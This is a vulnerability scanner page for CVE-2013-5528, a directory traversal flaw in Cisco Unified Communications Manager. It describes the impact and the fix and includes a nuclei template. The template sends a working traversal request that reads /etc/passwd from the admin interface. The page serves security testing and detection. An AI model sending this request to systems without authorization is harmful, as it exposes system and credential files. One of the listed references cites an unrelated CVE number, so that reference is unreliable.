Cisco Unified Communications Manager 7/8/9 - Directory Traversal

mediumseverity

4CVSS score

23.3%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Tomcat administrative web interface in Cisco Unified Communications Manager allows remote authenticated users to read arbitrary files via directory traversal sequences in an unspecified input string, aka Bug ID CSCui78815

Impact

Successful exploitation of this vulnerability could allow an attacker to access sensitive files and directories on the affected system.

Fix

Apply the necessary security patches or updates provided by Cisco to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/ccmadmin/bulkvivewfilecontents.do?filetype=samplefile&fileName=../../../../../../../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2013-5528 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2013-5528

info:
  name: Cisco Unified Communications Manager 7/8/9 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Tomcat administrative web interface in Cisco Unified Communications Manager allows remote authenticated users to read arbitrary files via directory traversal sequences in an unspecified input string, aka Bug ID CSCui78815
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to access sensitive files and directories on the affected system.
  remediation: |
    Apply the necessary security patches or updates provided by Cisco to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/40887
    - https://nvd.nist.gov/vuln/detail/CVE-2014-3120
    - http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-5528
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:S/C:P/I:N/A:N
    cvss-score: 4
    cve-id: CVE-2013-5528
    cwe-id: CWE-22
    epss-score: 0.23309
    epss-percentile: 0.97797
    cpe: cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: unified_communications_manager
  tags: cve2013,cve,lfi,cisco,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ccmadmin/bulkvivewfilecontents.do?filetype=samplefile&fileName=../../../../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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